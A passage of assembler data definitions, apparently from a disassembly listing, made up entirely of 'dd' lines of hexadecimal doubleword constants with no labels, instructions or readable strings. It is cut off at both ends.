38FA9E00h dd 1EB5D184h, 0E8C51765h, 4C5F01B7h, 20D07E4Eh, 670342AEh dd 0CC7A9C3Bh, 39CAB0F2h, 436B00C6h, 0F7C3A64h, 9001E4D0h dd 0D9505474h, 408E37A1h, 0ECE0B6F7h, 0FDC42BE0h, 0DCE4D500h dd 13CC617Dh, 63491E02h, 0B5968077h, 947E8B73h, 3088143Ch dd 0C29110ACh, 1E2F004Bh, 9D69C5F4h, 7D011DC0h, 0FE31D037h dd 0A0EEE8B7h, 4BDFD7C8h, 0DDA10ABBh, 0EC1E24h, 107B0B58h dd 6C98EDBCh, 695EB70Eh, 43BB47E4h, 48CC2A72h, 3A8FABD8h dd 786EB1AFh, 5F1F38C0h, 10C4AAFAh, 0FEC0887Ah, 1C82A5F3h dd 4D177h, 434910C9h, 0A40380F7h, 79E5D44h, 0CC1CDBACh dd 0F060B483h, 1C7196EFh, 0F6492Ah, 0A1C9C31Bh, 10903FDCh dd 0FE57702h, 80FA460Dh, 0F99A54C3h, 805B0038h, 9568AD6Dh dd 0CE3C142Ch, 0A26900F5h, 0ACDC13B6h, 2B2200F0h, 3B668252h dd 17017E93h, 0F5AF8D94h, 6EFCDAC9h, 55A7005Eh, 0DCE75A72h dd 512CB3FFh, 4300B509h, 0E87D4838h, 0D8F10530h, 81D15429h dd 20B66AACh, 5E1FFBD4h, 7D800B10h, 0A599C0CAh, 14DC14BBh dd 0B77B887h, 0E4735235h, 0F2FF4480h, 1E0161B7h, 0A6594C88h dd 0DDCE6CFh, 12780FEEh, 0A1421FC9h, 7540323Dh, 30EA598h dd 0A01ECA17h, 8138AABFh, 0CFAE05E4h, 0C0DCBDFCh, 7CBE23A4h dd 0BCF2E700h, 0C991F65Bh, 69E2001Dh, 5FA3F0C2h, 0BB07C5C8h dd 82FC9A85h, 40E3C20h, 0C059092Ah, 3441FE30h, 0E0D043AEh dd 0CDD420CFh, 435063D5h, 0B704A5C0h, 286E6DEBh, 5BBE9681h dd 0AB9DE180h, 0EEB12104h, 68BA2012h, 0E980411Ch, 0EC7EDDA9h dd 81FB0725h, 0E0902876h, 2248A121h, 0ACFC4B00h, 52AAF21Eh dd 74B0BBh, 8025E106h, 48153A8Ch, 0CF77DE28h, 53F0B650h dd 8E9A8700h, 2944993Fh, 0E0C80047h, 1D7F813Eh, 241F5D71h dd 0A340195Eh, 931A976Bh, 76062C5Fh, 0B02300C4h, 0C1DE1D4Ch dd 0FE002090h, 0E5ECF2CAh, 24F471C3h, 14369Eh, 73B71B7Bh dd 5700A39Fh, 29D55E09h, 0B6E2C2h, 1FB9ED38h, 3FB75245h dd 99BFFF02h, 90B8AC86h, 5D3D88h, 0ECBC6AFAh, 0BFEB3728h dd 4014C900h, 0C77E0154h, 52600EEh, 0FB8AF116h, 7901AEE7h dd 83C4FA35h, 0B2208D90h, 1F067CFCh, 0D430A217h, 0F408F8E9h dd 240FD625h, 1DE6A08Dh, 4290B8h, 7B5EAEF7h, 90C3AABh dd 47023402h, 0CBB84F6Ch, 6563E06Ch, 0B8400CFh, 36875E9Ch dd 0B07A90DCh, 0E3255000h, 0A647B7D3h, 2E667A31h, 34C730h dd 0DCB46E67h, 1900625Ch, 0EBC49AA8h, 74237C5h, 0E1938E57h dd 6F4AC02Eh, 8F90FBA6h, 0D5179900h, 3660AF98h, 5707F33h dd 53EDB6D6h, 0C0D4C037h, 0D2F2CFDDh, 8EBA571Eh, 284B60DEh dd 7894A021h, 70A1382Fh, 7174F65Ah, 68EF0081h, 0EB111DD2h dd 3D2002CFh, 0E5200C5h, 1351CEFFh, 0B6006F3Ch, 0B182266Ah dd 28C9CA5Eh, 9CC8515h, 593EF18Bh, 367D8400h, 0CB006047h dd 460EE5D5h, 0A31B72h, 54411137h, 0F9F46D53h, 3DA81F4Eh dd 7BA0160Fh, 1CE7B6AFh, 0F1616EDFh, 61E7AE6Fh, 9FC1D844h dd 0BA76E0Ch, 7811108Ch, 0CE2C2AA0h, 5BEA10h, 894AA394h dd 4C3E7460h, 9A0221Eh, 0B8C65C8Ch, 1F30F85Fh, 413F0Ch dd 0EF539A73h, 38016175h dd 0BAC3B80Fh, 0D08440BBh, 8062D086h, 3FAAC98Ah, 0F300F09Ah dd 8BE6220Bh, 1C44811h, 5AF1DEC2h, 9EEF6154h, 943F8888h dd 24C9BBh, 0FB3FACC7h, 0D7C3B0h, 0CEC4980Ch, 0FE69D50Eh dd 7A07B54h, 0D4E4350Eh, 634AE0A3h, 1A884DCh, 3296C58Ch dd 0C43441BBh, 0EB903FD3h, 477A2800h, 0F4E68CADh, 5AAC0060h dd 0A19CEC25h, 0AB00D0CCh, 61787CC1h, 72CB86Fh, 8BEF5BF4h dd 70AF1144h, 9264D83Ah, 958C0501h, 22ADD96Ch, 0B38B0C3h dd 9E4F00F6h, 8BA4C382h, 890059A6h, 0A909E48Eh, 2D585Ch dd 0F1F952B9h, 0B5999CB6h, 730074E2h, 989396EBh, 78A574Ah dd 0A79A3720h, 7F0140C8h, 2C01E4CFh, 6322D1EDh, 0F880750Fh dd 0E7F38A95h, 2D000279h, 9E99DE7Ah, 1F91AF43h, 774FCC6h dd 200BCC27h, 420D9779h, 0DCD00807h, 60F00630h, 393E784Ch dd 9F004704h, 3BCA7ADEh, 7B01FA8Ah, 0CCD0A13Ah, 0DAF88B25h dd 24C700ADh, 5E94BCBEh, 0B4A045C3h, 3700889Ch, 0DB0A93A8h dd 911F40h, 195215C1h, 0CD302EF4h, 0DEB75407h, 0B130EEABh dd 0CBF2D5h, 0FB61934h, 0BD138742h, 7081DB00h, 0DF2B02A8h dd 8F660789h, 4015D53Ah, 0F0AF31C5h, 0A005578h, 7DB918E1h dd 0FC6B7764h, 0AB7A00FDh, 0E485E766h, 0FF001A10h, 0D8BE53A8h dd 97590C4h, 93289ACCh, 40B36181h, 0D111E8C0h, 30C4DF00h dd 9A0EE332h, 0F20C092h, 5C56ED2Dh, 5F96C201h, 0E06A7D49h dd 0E1F998D7h, 0D2FF0F44h, 1CE075B8h, 0F7B2A1C4h, 3C092101h dd 9B30FC33h, 7C3F4839h, 122008ACh, 6BA131Fh, 68A48429h dd 8016E639h, 2AC55E0Bh, 0DCED41h, 74A1C0A8h, 86147813h dd 0DF7BB512h, 906C840Bh, 50A7A1C8h, 0EA34B4E9h, 927A36h dd 0B27956C7h, 9F9E307Bh, 877A1A00h, 1E78356Dh, 6EA50062h dd 965AE8D4h, 0A0248E7Eh, 4487B0ABh, 8010C466h, 4BC59960h dd 4D30007Bh, 499CEB12h, 0FD662103h, 0B7D88424h, 25101FF0h dd 1AAB3071h, 4FDCDE3Ch, 5A0D5201h, 3B0AD8A4h, 0E1A007CFh dd 0B3A0A337h, 32FFFEABh, 0D0C04BECh, 0E40F96BAh, 2021D5CEh dd 6E496BCFh, 0D89F2554h, 7800EEF0h, 2F081235h, 3653031h dd 0D9C0706Ch, 8A882EC2h, 0CF0007A4h, 0A70F5D21h, 0B62A35h dd 9E7B477Ch, 0B8DA69FEh, 90C10B02h, 684A62C6h, 0F3A214h dd 0CF76C8ABh, 87D62906h, 0D7136900h, 6A4AE9CEh, 48643843h dd 3108C700h, 66F819AAh, 0E49E6001h, 211199DCh, 786864h dd 0D65F73DDh, 7A25465h, 0B0C6EC3Dh, 96B52136h, 471C3B56h dd 0BCD27C00h, 0D52ECD92h, 0C03D6798h, 0C90603FAh, 11EE295Eh dd 5397A8h, 0D9DE083Fh, 555AF3h, 84135D68h, 0E72ED817h dd 0A1F88B0h, 0B6C16942h, 408A3A75h, 0B019BC4h, 0DBDDD9F0h dd 525D1820h, 9F00E66Eh, 803D135Bh, 9887CFABh, 60160058h dd 0F67159A1h, 6C014A47h, 0F4BFE97Bh, 8080C1FCh, 0A59ECDFh dd 9D0F6223h, 29EEF602h, 20100F8Bh, 0F2D9A408h, 0A08F12D6h dd 445443BFh, 94F947FAh, 5884501Ah, 1C96F9B0h, 6F57900h dd 7B04738Dh, 58DF4C5Fh, 6BFF816h, 2908CFDBh, 79A28A00h dd 71A14798h, 0C51658D3h, 314F4000h, 99D672EEh, 9BD08101h dd 2444D177h, 588C70h, 4518DC30h, 128B2C3Bh, 3A8985Ch dd 0EEDF04Ch, 0EC9BD063h, 6567DB9h, 0C3DA5171h, 0D550180Fh dd 587849C8h, 0B7B9A60Ch, 2391810h, 8E33A736h, 1C60831Ch dd 996F77ECh, 70B3A058h, 1981E1Dh, 7C573264h, 20B5D226h dd 0F126F65Dh, 7713D2B2h, 83023CC0h, 9FF303EAh, 0BF6ECE5Ch dd 181DFEA8h, 78846A17h, 72B44600h, 380F24A2h, 0E48164BCh dd 0B1B7332Bh, 10906829h, 0C384529Ch, 232F0047h, 3BF2B246h dd 9E93041Ah, 2CAC0034h, 1E736FCFh, 9C01061Dh, 59D74300h dd 3A554E1Fh, 9CF20A9Dh, 5F9B84A8h, 885B83E4h, 19129C88h dd 62FD3500h, 0C0B9E38Bh, 85DA00AEh, 201F4A8h, 6D3E9A1Bh dd 0F6FE8047h, 729232FFh, 0C4FA002Dh, 1931A4Bh, 0E14A24B7h dd 0C31B4000h, 9A8A161Dh, 270A0710h, 0C17EED70h, 34BEF76Ch dd 0EB06756Ch, 0DAFB4360h, 3C8C0310h, 0CE79EDEEh, 0DCD34EF0h dd 5E141492h, 7CE8F55Bh, 77C98600h, 31A94508h, 508D1FFBh dd 1F1E91h, 0E8E95CB0h, 561E0116h, 0F881A6C7h, 2059E754h dd 5C0CFE60h, 0C054A743h, 0D1BF02FBh, 1F7F666h, 0DB79E061h dd 0C7AF87C0h, 947FD4B8h, 7DD03800h, 3D81D1E0h, 0E619FCC8h dd 73C701A5h, 0EE9EE203h, 10D04732h, 0BF1C1707h, 0A0266F00h dd 35883BDCh, 207300CAh, 6972622Ch, 0D70633B5h, 0B6D47630h dd 0E9F8A0AEh, 32A201FCh, 53563FCEh, 0E0CC308Ah, 0EEE6270Fh dd 0CE2A0D0h, 0CEE7685Ah, 9A00F310h, 0B91F2388h, 710333Ah dd 0D2414AEFh, 0A0D9EAC3h, 98B20686h, 4DF400C8h, 7C6EBE0Ch dd 180F957Dh, 0A0806879h, 0B934A7A4h, 668B0005h, 0BBCFB4F4h dd 574E9C97h, 7B4FD440h, 4CB688h, 0C444F2C1h, 25CFAEE7h dd 0C250F928h, 4DA2170Bh, 0D9AC8058h, 481B9339h, 0E7A36C8h dd 4372C352h, 1286E49Eh, 51648078h, 0A3006FA8h, 5C5D0AFCh dd 2CB1831Dh, 470F81h, 0E2CB1384h, 0A87ACDFFh, 67684100h dd 277275E3h, 0D7DD2DC1h, 0A67CB0A0h, 0F9801E91h, 37D7AA8h dd 18812BD8h, 0D4C064B2h, 0BD00EB4Fh, 593E12C7h, 1369Bh dd 21C61AEFh, 3B1178B6h, 3B97515Ch, 0DFB70139h, 0E5387AE4h dd 157834h, 2EFC573Fh, 2B6389F6h, 12733204h, 0E8A2C4A3h dd 0C944B1E8h, 6EA03E19h, 0E93E3DA2h, 0BBEEFC9Fh, 9C23B84Ah dd 0CCFBB385h, 0C4480E00h, 0F7396FC9h, 7A588127h, 29BF0160h dd 2A068080h, 8215B511h, 230518C0h, 38099EB2h, 0EC804F02h dd 0C4B970Dh, 0C00FC490h, 0E05440BBh, 0FF69E084h, 5ED4007Bh dd 606FE44Dh, 0F80389A0h, 0EB533FC9h, 512A3A1Eh, 868C6119h dd 59388708h, 0A974E4C3h, 0FFBA10B4h, 12E06047h, 9B52A0h dd 0C75E9FF4h, 0A6F13FAAh, 0F332F209h, 71BF807Eh, 0CB2B43Bh dd 0C55D20FAh, 28E3294Ah, 0B1F280F0h, 2076C26h, 8F828B9Ch dd 0F40C2E1h, 8C0370EEh, 4374554Bh, 0FB02F308h, 8548F8DCh dd 6EF4B5h, 276BD07Fh, 0FD921161h, 6C3E7126h, 0B1F38F00h dd 0F00A5B50h, 383752Bh, 926758D8h, 94F060E4h, 7A3C2FEFh dd 0BC8801CFh, 3162C1A4h, 490FDC28h, 2D601DC6h, 0F29D76E6h dd 58AFED00h, 0B118BD40h, 38DE7648h, 0DD01F7A0h, 0EC9EEEACh dd 68BCF403h, 88544F1Fh, 0A3E9AB00h, 20EA4348h, 2E01F8AEh dd 0AF7AC6B0h, 62EC3782h, 0F3D7046Eh, 0F372941Fh, 1AE05488h dd 3387D09Ch, 3B30D9C1h, 178A6228h, 407E31DBh, 5E482B7Ch dd 8303473Ah, 0D030979Dh, 3DCA008Eh, 14AF211Dh, 4B1F9549h dd 0D8806F3Ch, 9CF25E24h, 0C66FE6Bh, 5DF3AE80h, 0C0B6F68h dd 29D82C16h, 0FF7B8074h, 1FFA4E1Bh, 0C0F25ACBh, 52558DA1h dd 7CFCC511h, 0A4EB0500h, 0D2647FDBh, 0DD030B4Eh, 1820CAD5h dd 0DFF54F4Ah, 6FC25207h, 8DF01490h, 73A6C63h, 50CBE995h dd 9389001Dh, 0C24BD581h, 7ABA0804h, 0F0DCCA60h, 0CD239207h dd 0AD70E3C9h, 0E7FCD1h, 3E692E3Ch, 0E08BD643h, 0E4374E00h dd 9CD3E8BEh, 735B00BDh, 77D14134h, 0E5027D5Fh, 60861320h dd 911468F9h, 2EF1B8DCh, 1FA08E92h, 76294A12h, 6FC380B0h dd 7A96D6DEh, 59C2CA09h, 3CC44052h, 48F60B2Ah, 0B480A168h dd 8CE35DA5h, 6EA0FA60h, 592A855Eh, 0AD005C89h, 11F6A8F3h dd 0F0EED033h, 0A263700Eh dd 0D3C06097h, 7E270475h, 8AF528AFh, 51965C94h, 2F200A00h dd 0ED3EA088h, 0D3E1DC00h, 992BC2A5h, 0DBE50053h, 8AE6FC37h dd 0CA000EA9h, 0E49847CFh, 0D114FDh, 378CB2ECh, 80F94CFEh dd 3DC6BD07h, 0F6B0199Ah, 0B7A5FC1h, 0FFB222D4h, 0C7ABDC20h dd 20F6DD24h, 0EA658300h, 4B04E3C0h, 0EA5E4E0h, 0F3BB80FDh dd 6F0E4DE0h, 0D500F51Bh, 0B45484E3h, 3B7E485h, 89B5E75h dd 0C7988911h, 0D8FD38CDh, 0A0178D9Eh, 0C80078Ah, 3BD94885h dd 0DA968120h, 0E7AE04F9h, 58D1C331h, 4E69BEF0h, 517C63Ch dd 91D42862h, 0A7FEE0C0h, 1035019Bh, 76E8FA13h, 59C93085h dd 738EA918h, 588C6CC8h, 2E1E147Fh, 0EBF440CAh, 90D3472Bh dd 5CB5C615h, 14125CCh, 0FC46A8E8h, 71978424h, 55610094h dd 0E1AF6624h, 0FB055E9Bh, 19F2CD64h, 308FAC00h, 4C21DEh dd 0D0D3E4EAh, 1EC78E08h, 86077700h, 0C8DF6FBAh, 0DD7800C3h dd 0EAEB9147h, 7903C23Dh, 930BD189h, 7865B0DFh, 0E6090C1h dd 97106AEh, 0BBA7AC0h, 0F0906BEAh, 6D86E4A0h, 0BC0494Dh dd 8FA3734h, 7C06D773h, 26B9F86Ah, 128B163h, 550929FFh dd 257E80B9h, 0A287A5DDh, 0D53C0937h, 9470FBBAh, 0F18AC000h dd 0ED5861D0h, 7C494ECh, 7055F3A0h, 72DB92D4h, 4FE9500h dd 0C8B79AD8h, 0E0796Eh, 83A2F920h, 4B89A798h, 306738C0h dd 60FA6135h, 6BB6104Ah, 17093140h, 409919C3h, 1D0A39A3h dd 129CC26h, 82288779h, 48D7DCADh, 526AF300h, 6EF154D1h dd 0F60201D5h, 0CF0E34DAh, 0A43DC984h, 0C940081Eh, 6E0DBAh dd 28DFA1EFh, 0B217E8E5h, 3D39D500h, 0B53A33D6h, 25C40081h dd 0F95737BAh, 402FB732h, 4DD48260h, 17CC51D7h, 93788137h dd 0D4002A94h, 0C7DEDBEDh, 99912656h, 0F1148408h, 9A24A0ACh dd 41587105h, 0A40F4090h, 0C0210F83h, 8CF5CFDAh, 0CA3409C0h dd 0CC103D56h, 0B209196Bh, 60968A5Ah, 2F8F6310h, 50804432h dd 0DC4E04B0h, 31029C01h, 0F5E9A4D9h, 0FEFFCFD0h, 0ECB022h dd 37684638h, 0F4949C41h, 9904DA00h, 0FE296ECBh, 15F701B8h dd 28B7FF5Eh, 1F028F5h, 3022DF17h, 0C98E9B3Fh, 1600D2FAh dd 0F53D6E5Ch, 4AE7E300h, 67B72D57h, 261EE69Bh, 80E4A907h dd 89D3378Ah, 0B84DC1F5h, 5C3D80h, 27FB9812h, 39CC848Ah dd 0BC007868h, 0B53D4074h, 38025217h, 9F92A3EAh, 0E08C634Ch dd 0F536D054h, 607A2878h, 0C34F1823h, 9300DAA6h, 433F3896h dd 27B4B16h, 9E688502h, 80499518h, 2BD44079h, 2203D6A5h dd 98B04B72h, 1E8BACh, 96336038h, 8D908753h, 2419443Ch dd 0B30098FEh, 8F7D348Eh, 0BBD8A0B4h, 2020FF68h, 544D07E6h dd 0D0CF2C0Bh, 63627B3Eh, 0FBE83B3Fh, 0D0215CCAh, 0F733B700h dd 249E97h, 92ED56E7h, 8161505Ah, 900571E2h, 0CA0AA182h dd 0CC6F8880h, 7A770754h, 33500752h, 3C03F49Fh, 714B8225h dd 0F2C2B04Ah, 0DB048h, 0BEDB526Eh, 9E4390ABh, 4CEDFC0Eh dd 1D15456Ch, 265B2880h, 0EFFE00CBh, 0EBE031D6h, 2C0B39ADh dd 8377C411h, 0E7D0F084h, 1895D57h, 73DC4A08h, 5818012Ah dd 0D0C38814h, 0D17D81DBh, 0A4694D2Ch, 0C417853Fh, 14B01675h dd 996017CDh, 90404013h, 52DC62F5h, 11B4F400h, 321FCFB6h dd 0C1870067h, 982043Dh, 0AD1840D5h, 502024D2h, 8B410018h dd 1DC888Fh, 570FBF58h, 63398CBAh, 8844B1F1h, 0A6A4EAh dd 48C75175h, 0ACB8C493h, 9D006671h, 637EBE6h, 52AFFCAh dd 144C4AA6h, 9D38F403h, 0F8DE3A00h, 0EFCCBCDFh, 0AB8F0019h dd 0FF4C84FCh, 0E8007599h, 28D57771h, 407EF2h, 8F9C0D74h dd 5BE78319h, 0A2135600h, 1270491Bh, 0DE4B0258h, 1F1CF755h dd 0A7344A60h, 22138094h, 0CB0E908Bh, 2500A8AAh, 8526E30Dh dd 7605774Ch, 0E80027E4h, 0D2879278h, 1258BEDEh, 0F0DB2B6Eh dd 0B800019Ch, 1721F661h, 0DA74EFCh, 72904C37h, 9A6FF470h dd 5D98CE02h, 58E3FE06h, 45691368h, 0B084957Ah, 0B8740EBCh dd 0E6A9F317h, 40116803h, 87B9C0C4h, 123F5F82h, 7C0C8800h dd 3D4C0C84h, 977087DDh, 0FAC99A07h, 17602E9Fh, 0E8840383h dd 6C7701BBh, 0B1CB9078h, 7C9885B6h, 0F0E4FF60h, 0AC88C7F3h dd 62E40104h, 8CA8E0ECh, 0FF732C03h, 0D816C19Dh, 7ED3888Dh dd 0CF4F0067h, 9BCD40EDh, 0D8012680h, 86A11104h, 0DBC8099Fh dd 0CB5100DDh, 0E0252FDEh, 573F39EFh, 1E773BE1h, 0E900555Bh dd 1B6648CCh, 75730062h, 767B2902h, 0B90AFA64h, 983EE2D1h dd 60743B0Fh, 73F7A26h, 0D0EE0098h, 7501390Bh, 6F5E5163h dd 221DBC00h, 0A8F6F0h, 70E4957h, 7AE623AEh, 1F0FA17Bh dd 20A976A6h, 74A39814h, 0E5241254h, 0C4E225h, 0F0CAE2DFh dd 0FFCD87F8h, 5FCBF8h, 0FD428919h, 604A6BE1h, 5595C200h dd 6444D02Dh, 639176Eh, 8FC4FACh, 0D3F380A0h, 98000E78h dd 152E65CAh, 0F08B7AC8h, 0B8451C6Ah, 1F7500C1h, 114DAE62h dd 34C3364Bh, 57881DF8h, 0CB1040C4h, 8AEE0F43h, 82F2AA07h dd 2DE0E3Dh, 0DDEC04CDh, 0C04C5F00h, 58004344h, 0C982097Bh dd 13C12490h, 2ED6121h, 14E3F2C8h, 86139A40h, 0E648D57Fh dd 3D0C1744h, 5BE789Ch, 0E5FD789Bh, 4CB0C1CEh, 8C811586h dd 6E706F05h, 59BB7B73h, 871F20A9h, 0EA790098h, 119CA4CAh dd 689A0200h, 0CEBA92B9h, 2C310086h, 0E7876571h, 0E2F26B74h dd 6260B4A2h, 4D4C81DFh, 0EB5F01F8h, 62B3A3F7h, 733A5C21h dd 0D0269550h, 910B34A6h, 1E34C435h, 40D773FFh, 0C154178Dh dd 0A0380D14h, 0D8E003B2h, 0D4B7C4FBh, 0D2004CBDh, 8A9A24BAh dd 0D650453Dh, 52EAFC4h, 0F500AF31h, 72FD802Ah, 8E700F85h dd 152E7783h, 0A4BA86A0h, 5702E2EFh, 6FE6CACBh, 76CCC8BDh dd 9FE00A8h, 7E42AB3Ch, 62009B0Fh, 0A646301Eh, 7D3283Bh dd 0FB1DF823h, 4932B052h, 63006C48h, 0FFDE9685h, 0FBC2EFDh dd 0A3EF7BEDh, 0BD0EC11Eh, 312A0D1Bh, 0DF6FF84Ch, 0A1D4E500h dd 13A82B03h, 4C650061h, 4742A7F9h, 2800146Eh, 8FA6869Ah dd 32D3A0h, 0E77E1040h, 5EFE173Bh, 65B1D961h, 76CC9EC3h dd 478001D4h, 0DCCB5EDh, 0AD05CC01h, 0C9DF870Bh, 90B86031h dd 99F6006Bh, 0DC649F4Ch, 53017378h, 6AC238ACh, 0E0403C33h dd 42A9A5h, 7FA8F346h, 0D8E31DAAh, 139D7D00h, 6AA722A6h dd 0B87E5036h, 3DAA00E5h, 85530CA4h, 0CA4973C6h, 79E10F34h dd 0FA43A011h, 301D2891h, 90604ABCh, 0E9EC45C3h, 0E2474C00h dd 7D94A7F3h, 63E053h, 211108A9h, 0B7AB72Ch, 0F305B900h dd 1702A4BCh, 5A82001Ch, 330FDCA5h, 1CB83922h, 29E34101h dd 18B7B603h, 440C70h, 28357AEBh, 6B81A860h, 41473C00h dd 0BBF051B4h, 33E981Dh, 6D4EBF3Dh, 0D88E107h, 54731C2Bh dd 8B62C101h, 0FE276F7h, 0D959FCh, 681FBD25h, 5C217D30h dd 0F5A49C04h, 8880AB5Eh, 1124A8h, 139A2019h, 0C967EBB0h dd 43D0A000h, 1976D76h, 4D151EB7h, 635CC049h, 0F966848Bh dd 0A47D0C2Eh, 0E2040290h, 0A048D30Ah, 9800B140h, 0EE6B138Fh dd 79892DBBh, 3107008Dh, 994CF4F0h, 90071AC9h, 0FA691E67h dd 70CAEC10h, 45300072h, 400F39A1h, 0E100D316h, 0BA358E1Bh dd 0D07FE7h, 0EB0B7098h, 0FDF4E82Ch, 18E05B30h, 7AD26BC7h dd 9B280C26h, 0B53135EAh, 0B016093Ch, 4C262947h, 585B0EAAh dd 0C1C3BA62h, 81DF1CDBh, 0CC676DDDh, 0EE00476Ah, 87254836h dd 90F5B035h, 0BE10056Ch dd 0C1C5EFA6h, 0BE864F0Ah, 66A036Ch, 803FDF22h, 0D1D246h dd 28FF960h, 9BAAAE9h, 0E409DCE4h, 80C54A34h, 7019B06h dd 3F4EF69Dh, 8E9EEA8Fh, 0A586C09Fh, 0D5A7377Ah, 3F88DE60h dd 227135h, 0EFA1A68Ah, 67AE363Dh, 7B314A00h, 0CC830C5Dh dd 5F2D0h, 0B7D4BBF7h, 703C0DF3h, 1D7B6C00h, 30C036F2h dd 0FC20C0E6h, 515615D2h, 0FD327A00h, 0DA138426h, 0DB8C0064h dd 7FC16DAAh, 65002908h, 0D43ACF51h, 3C2E9Bh, 933BF648h dd 35E57675h, 914B0D17h, 6A0B9400h, 12F5F38Ch, 74B81Fh dd 0C3AA03B4h, 0B400385Ah, 551D4D7h, 766D98Dh, 0C57ADF32h dd 0E340EF91h, 0CCDAB88Fh, 2963D00h, 86B60D0Ah, 0D8255871h dd 46281E00h, 69519259h, 0DA008F98h, 0C6B81C45h, 0EA632789h dd 364D013Ah, 2D9C725Dh, 22E08049h, 0AE2F6AA8h, 3A300039h dd 0BB9AF7C7h, 8500EDE2h, 0E8E8AB0h, 10F6323h, 2995A769h dd 0D8B81D0Ch, 0FB1F603Eh, 7A81D380h, 5BE00765h, 387720h dd 969CDAC1h, 0B7FF0534h, 2A51FB00h, 77E78070h, 78A70013h dd 843616F3h, 8E0E02D5h, 0C1383A63h, 0D264BB49h, 9EFC03C1h dd 0C0767131h, 3BC16610h, 0B61D055Bh, 0DE008EB3h, 31BF8681h dd 0D6370013h, 0C8A027D5h, 0C639D4FCh, 339E9424h, 0DBFA12B7h dd 0C741400h, 0ADC064h, 2F9DA312h, 0CE3CF1B7h, 0D96C6500h dd 785DFA03h, 79AB0029h, 4550DCD4h, 0F5074166h, 9864073Ch dd 3604A8A0h, 0D98307A1h, 107472C6h, 885117DDh, 0F40DE274h dd 70660FA3h, 49ECEFF0h, 0BD179828h, 0D238C30Ah, 0BBC39EA0h dd 0DA1F18DEh, 0E792CE00h, 1CA9B883h, 80BF6F46h, 0C79B4ED3h dd 5B0020F1h, 63D24240h, 3B0A2FD9h, 6E05B82Ch, 712A32Bh dd 98D8F838h, 1740239Ch, 622F14Fh, 6CE748D1h, 0AB88490Fh dd 1C610A96h, 0C80F9054h, 3F11022h, 9B3EABB6h, 6A280F4Bh dd 0E98CE3CAh, 0F700A9F0h, 0C15865A8h, 0BE098Ch, 7F5062C8h dd 956B2AA2h, 11C23400h, 75146DD1h, 9254073Dh, 40CA2209h dd 0C4ECF7EEh, 1DA5AC00h, 0C6B371BDh, 0E3700C5h, 0D3B28F09h dd 8300AEF7h, 0C973D7ABh, 1104BE3h, 5669A5D6h, 0F4A1FFE4h dd 0D100DCE5h, 3C3C0CFh, 0B83CE8h, 0FF5D3542h, 4144A579h dd 9FAEC700h, 6050E9B4h, 0A62F0022h, 1A37A0D2h, 770B1610h dd 0FC7192h, 0E39B5E5Ah, 97DE0702h, 51CA54F5h, 57291EF4h dd 2DA79090h, 206ABBDh, 92A34A06h, 21776008h, 8F2DDF66h dd 91ACBB06h, 121923CBh, 0E01755BAh, 59C8C620h, 2DB8C3FFh dd 189AAB91h, 0B0638878h, 0AB9F2D00h, 482A8F59h, 0D74401D1h dd 0DA15BAE7h, 0FD00C272h, 0C5297B51h, 40661E20h, 0B1B61FF0h dd 20C4699Dh, 8C155793h, 4D70DD01h, 806D46B3h, 0E9B70A11h dd 0C8917B5h, 91EFD188h, 21C8B608h, 0D0EC18AFh, 7580DBEAh dd 35933694h, 0CD465058h, 0A7E9BD02h, 0B9319917h, 0E9C5A910h dd 39B5A416h, 5A5B00FFh, 489B317Ah, 0B699F700h, 2B4A27EBh dd 188A6066h, 6AC43902h, 1DF7160Dh, 2AF820BAh, 71180022h dd 0FAB2C13Dh, 23004015h, 1309207Eh, 989E5329h, 9D1F3D90h dd 93E80680h, 3785702Bh, 4F9F8400h, 0D6244DB5h, 19F60349h dd 8E40BD7Ch, 21FAF7E0h, 14BAED03h, 0D03823E9h, 3A7DE87h dd 116E1934h, 0DAC00E4Ah, 9600FE47h, 172B7B86h, 0C754AEh dd 45213556h, 915523B1h, 5215711Eh, 0EA12FF40h, 795C10h dd 1DD15EA6h, 9E6562F5h, 72450B00h, 0D75BCF4Fh, 6BFC00EAh dd 76A47992h, 0C300DC1Dh, 1E48BED2h, 0A38BA2h, 0E42591D9h dd 5437DF14h, 0E6853C00h, 7E9EE067h, 0B55C16E1h, 2E6601D9h dd 603D0AD5h, 0EF007883h, 93ABE55Eh, 0E07AC12h, 7DF8D326h dd 849B2520h, 0EA0090E9h, 0E429C155h, 76075A7h, 6C542061h dd 0EB4790BEh, 4A004659h, 3814D44Fh, 0F4CD5D1h, 0E99662A9h dd 42B3BD60h, 8E3B1502h, 888F80AFh, 0DE3212B0h, 0F9F0010h dd 97E34E6Bh, 0A3009D57h, 49D881A2h, 61B964h, 0C916F91Dh dd 26E34F41h, 6B03DC00h, 0DD552569h, 0E2222645h, 0D00100B3h dd 9C1E1456h, 0B2C31501h, 0D26A73A9h, 0E2D8E8h, 4C4EB73Bh dd 0D007E991h, 24000D70h, 66EE13DFh, 0C77A4Dh, 0E2D3A376h dd 880515A9h, 44CBD00h, 0B359A6A7h, 0F50B0665h, 0E869E997h dd 88B93F00h, 2FC63964h, 0DEB096h, 0C52A1E5Eh, 17DAC40Ah dd 1D84307h, 0A2300645h, 4CCECC2Fh, 0A100B282h, 23360E47h dd 4D0CFBE2h, 58BA6011h, 82160BE0h, 0E83A75Dh, 17D83BD5h dd 840312C2h, 1F1C04C9h, 8B500008h, 9810B6F5h, 960743D4h dd 0E3E78D03h, 0E0254B70h, 9C9F1C45h, 0A77C0D8h, 3A09CA6Ch dd 0FB69B41Fh, 0A056h, 0A51B9BDCh, 15591F14h, 4DE88028h dd 9A7CC467h, 0D4D27700h, 211A7122h, 797600D3h, 0B7866BEFh dd 0FE5CEC31h, 71770D4Fh, 52E831BAh, 8B0100D0h, 72D3AB46h dd 153CC509h, 76210038h, 9343873Dh, 0EE6B05A2h, 0C03975DCh dd 5CB41010h, 0DBA4610Ch, 1664D8B3h, 6C4859h, 293E4F26h dd 0C3B00CE9h, 0EF00ACFAh, 599A9D21h, 0E241FD94h, 0B4D00EFFh dd 0EC802B86h, 32CE4DEFh, 25887E00h, 8BA1164Bh, 0E6730010h dd 0CFA531DDh, 0C9152755h, 0FB4FAF3h, 0C0430498h, 0AE53E81Bh dd 0BEF85Dh, 78508076h, 4805C537h, 0FC738C71h, 0B427E300h dd 0A40E321Eh, 0C5A700B0h, 0C6B6B7C3h, 1A00BBBEh, 0AF581CADh dd 70BA0893h, 0D83A05E0h, 10B2F7h, 0DF4F29E0h, 0BC021F27h dd 8E904B62h, 1D8A0B5h, 7E99BBh, 0EDA77365h, 3189C855h dd 0D3740EEAh, 0F5CB0700h, 8CFEF302h, 0E66C2824h, 0FC7A00FCh dd 0AD5A2B50h, 880132A3h, 93FBAC77h, 0C4405FE9h, 305773C7h dd 